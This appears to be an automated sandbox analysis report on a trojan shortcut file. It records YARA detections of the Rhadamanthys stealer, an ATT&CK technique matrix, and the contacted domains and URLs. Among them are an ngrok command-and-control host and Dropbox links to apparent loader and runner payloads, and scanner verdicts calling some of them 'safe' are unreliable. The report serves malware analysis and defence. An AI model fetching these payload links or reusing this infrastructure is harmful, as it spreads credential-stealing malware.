Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\SysWOW64\fontdrvhost.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: fontdrvhost.exe, 0000001F.00000002.2438737750.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tcpview.exe
Source: fontdrvhost.exe, 0000001F.00000002.2438737750.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Procmon.exe

Stealing of Sensitive Information

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 0000001E.00000003.2312771946.00000000001D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2319339392.00000000031A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2327391566.0000000001620000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2438337254.0000000003340000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 0000001E.00000003.2312771946.00000000001D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2319339392.00000000031A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2327391566.0000000001620000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2438337254.0000000003340000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	11 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	21 Input Capture	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	211 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	133 System Information Discovery	Remote Desktop Protocol	21 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	11 Registry Run Keys / Startup Folder	11 Registry Run Keys / Startup Folder	3 Obfuscated Files or Information	Security Account Manager	231 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	11 Process Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	41 Virtualization/Sandbox Evasion	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	41 Virtualization/Sandbox Evasion	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	211 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
KjECqzXLWp.lnk	18%	ReversingLabs	Shortcut.Trojan.Pantera
KjECqzXLWp.lnk	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://fortress.x2game.com/gamein/auth/issuePassport4Game2.asp	0%	Avira URL Cloud	safe
http://fortress.x2game.com/gamein/news/notice_list.asp	0%	Avira URL Cloud	safe
https://162.213.210.250:6499/f0a115d49c8f2edda6ff622c/j8h2dndg.mcjxo	0%	Avira URL Cloud	safe
https://ucc9f8684d180ce9f114a6112ba0.dl.dropboxusercontent.com/cd/0/get/CgWS56--YffnNNg64e0NKz9YaiOZUkujezvRcH5YbIMVOGBO0F7mHdl_LeIrVOqF5pXVStsdZQkTg-6Z3sOfTWNnhOLVg9vKpg4Ec--da7p93xIJyAL5mLhYeDBD9QD4uhjGpB-i5_UU7zubcGcRa-Nt/file?dl=1	0%	Avira URL Cloud	safe
http://fortress.x2game.com/gamein/auth/issuePassport4Game3.asphttp://fortress.x2game.com/gamein/game	0%	Avira URL Cloud	safe
http://fortress.x2game.com/forGame/patch/patchGame.asp	0%	Avira URL Cloud	safe
https://permanently-removed.invalid/LogoutYxAB	0%	Avira URL Cloud	safe
http://222.234.221.194:8088/fott_coin/new_fott/x2coin/member_check.asp	0%	Avira URL Cloud	safe
https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app	0%	Avira URL Cloud	safe
https://uc598219f166c264ee6bbec26fb0.dl.dropboxusercontent.com/cd/0/get/CgXVDKGRmHwGsAR0ppOOIzGkg52xgGyEsqQSSQnuvFqqn8tALSbk1tp2odRSpWJ70hzqa-7TPMAE6RWDTbe3qnonre9p0AaxJYqM1NQdpADK5_9YHHzE8PDnsr6UIvbJh061-0dPrql3eXObDwSH8F9y/file?dl=1	0%	Avira URL Cloud	safe
https://ucfef6d549d3a2fa51e2fe02a12f.dl.dropboxusercontent.com/cd/0/get/CgUgHK8wYT_OxweEoS194JM8vx4j	0%	Avira URL Cloud	safe
https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7eU	0%	Avira URL Cloud	safe
https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/metadata/e4a88f04990bcb4fecb3cd3c61ff6c7eX	0%	Avira URL Cloud	safe
https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/metadata/e4a88f04990bcb4fecb3cd3c61ff6c7e	0%	Avira URL Cloud	safe
http://uc26cd856889af6709e05ec15dd7.dl.dropboxusercontent.com	0%	Avira URL Cloud	safe
https://162.213.210.250:6499/f0a115d49c8f2edda6ff622c/j8h2dndg.mcjxokernelbasentdllkernel32GetProces	0%	Avira URL Cloud	safe
https://ucfef6d549d3a2fa51e2fe02a12f.dl.dropboxusercontent.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fg.microsoft.map.fastly.net	199.232.214.172	true	false	high
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app	3.6.122.107	true	true	unknown
edge-block-www-env.dropbox-dns.com	162.125.69.15	true	false	high
www-env.dropbox-dns.com	162.125.69.18	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
googlehosted.l.googleusercontent.com	172.217.19.225	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
ucfef6d549d3a2fa51e2fe02a12f.dl.dropboxusercontent.com	unknown	unknown	true	unknown
ucc9f8684d180ce9f114a6112ba0.dl.dropboxusercontent.com	unknown	unknown	true	unknown
uc26cd856889af6709e05ec15dd7.dl.dropboxusercontent.com	unknown	unknown	true	unknown
uccba36d8d23bc3bc4a8c4d73776.dl.dropboxusercontent.com	unknown	unknown	true	unknown
uc598219f166c264ee6bbec26fb0.dl.dropboxusercontent.com	unknown	unknown	true	unknown
www.dropbox.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ucc9f8684d180ce9f114a6112ba0.dl.dropboxusercontent.com/cd/0/get/CgWS56--YffnNNg64e0NKz9YaiOZUkujezvRcH5YbIMVOGBO0F7mHdl_LeIrVOqF5pXVStsdZQkTg-6Z3sOfTWNnhOLVg9vKpg4Ec--da7p93xIJyAL5mLhYeDBD9QD4uhjGpB-i5_UU7zubcGcRa-Nt/file?dl=1	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/scl/fi/d3w8il7o04o41ssg64bq2/loader.txt?rlkey=acjjwiqfkswqv6iwv43ps8t7g&dl=1	false		high
https://www.dropbox.com/scl/fi/y77idftnli5vhqdg4xqse/secure.txt?rlkey=5dcm450t8j86d1n8rm0pywzzv&dl=1	false		high
https://uc598219f166c264ee6bbec26fb0.dl.dropboxusercontent.com/cd/0/get/CgXVDKGRmHwGsAR0ppOOIzGkg52xgGyEsqQSSQnuvFqqn8tALSbk1tp2odRSpWJ70hzqa-7TPMAE6RWDTbe3qnonre9p0AaxJYqM1NQdpADK5_9YHHzE8PDnsr6UIvbJh061-0dPrql3eXObDwSH8F9y/file?dl=1	false	Avira URL Cloud: safe	unknown
https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/metadata/e4a88f04990bcb4fecb3cd3c61ff6c7e	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://222.234.221.194:8088/fott_coin/new_fott/x2coin/member_check.asp	33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000000.2300777894.00000000005B5000.00000002.00000001.01000000.00000014.sdmp	false	Avira URL Cloud: safe	unknown
https://permanently-removed.invalid/oauth2/v2/tokeninfo	msedge.exe, 00000004.00000003.1888340003.000038B002468000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000004.00000003.1888462488.000038B00246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037893962.00000D100026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037748398.00000D1000268000.00000004.00000800.00020000.00000000.sdmp	false		high
http://fortress.x2game.com/forGame/patch/patchGame.asp	33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000000.2300777894.00000000005B5000.00000002.00000001.01000000.00000014.sdmp	false	Avira URL Cloud: safe	unknown
https://paper.dropbox.com/cloud-docs/edit	powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4633	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7382	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/scl/fi/7h4lmqhsim6jg8ftlpzw9/runner.exe?rlkey=t1ai59v9g7ajzdg92ep3aqz6Abw	powershell.exe, 00000014.00000002.2249353306.0000022EE10BC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/284462263	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://162.213.210.250:6499/f0a115d49c8f2edda6ff622c/j8h2dndg.mcjxo	fontdrvhost.exe	false	Avira URL Cloud: safe	unknown
http://fortress.x2game.com/gamein/news/notice_list.asp	33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000000.2128011569.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2351929941.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2353422668.0000000003480000.00000004.00001000.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000000.2300777894.00000000005B5000.00000002.00000001.01000000.00000014.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/	powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod.C:	svchost.exe, 00000005.00000003.1885468634.00000289797C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7714	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.2066486105.000001B0F2BC4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6248	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://edge-block-www-env.dropbox-dns.com	powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6929	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://officeapps-df.live.com	powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.login.yahoo.com/	powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5281	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.1993170455.000001B0E2B51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC8DC7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000005.00000003.1885468634.0000028979832000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.yahoo.com/	powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/playlist/	powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/255411748	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://onedrive.live.com/picker	powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	false		high
http://fortress.x2game.com/gamein/auth/issuePassport4Game2.asp	33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000000.2128011569.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2351929941.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2353422668.0000000003480000.00000004.00001000.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000000.2300777894.00000000005B5000.00000002.00000001.01000000.00000014.sdmp	false	Avira URL Cloud: safe	unknown
https://permanently-removed.invalid/oauth2/v4/token	msedge.exe, 00000004.00000003.1888340003.000038B002468000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000004.00000003.1888462488.000038B00246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037893962.00000D100026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037748398.00000D1000268000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7246	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com	powershell.exe, 00000002.00000002.1993170455.000001B0E2F7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2F07000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC927C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7369	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.1993170455.000001B0E2D77000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7489	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.1993170455.000001B0E2D77000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore	msedge.exe, 00000004.00000002.1954605048.000038B00237C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000002.2110567962.00000D100016C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000002.00000002.2066486105.000001B0F2BC4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000005.00000002.2990495918.0000028979A0F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/161903006	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app	powershell.exe, 00000002.00000002.1993170455.000001B0E2D77000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022ECA0FA000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.1993170455.000001B0E2D77000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.sandbox.google.com/document/fsip/	powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/chrome/blank.html	msedge.exe, 00000004.00000003.1888340003.000038B002468000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000004.00000003.1888462488.000038B00246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037893962.00000D100026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037748398.00000D1000268000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3078	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7553	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5375	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 00000004.00000003.1888340003.000038B002468000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000004.00000003.1888462488.000038B00246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037893962.00000D100026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037748398.00000D1000268000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5371	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4722	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 00000004.00000003.1888340003.000038B002468000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000004.00000003.1888462488.000038B00246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037893962.00000D100026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037748398.00000D1000268000.00000004.00000800.00020000.00000000.sdmp	false		high
http://fortress.x2game.com/gamein/auth/issuePassport4Game3.asphttp://fortress.x2game.com/gamein/game	33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000000.2128011569.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2351929941.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2353422668.0000000003480000.00000004.00001000.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000000.2300777894.00000000005B5000.00000002.00000001.01000000.00000014.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000002.00000002.1993170455.000001B0E2F7B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/LogoutYxAB	msedge.exe, 00000015.00000003.2037893962.00000D100026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037748398.00000D1000268000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/	powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7556	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/	msedge.exe, 00000004.00000002.1954605048.000038B00237C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000002.2110567962.00000D100016C000.00000004.00000800.00020000.00000000.sdmp	false		high
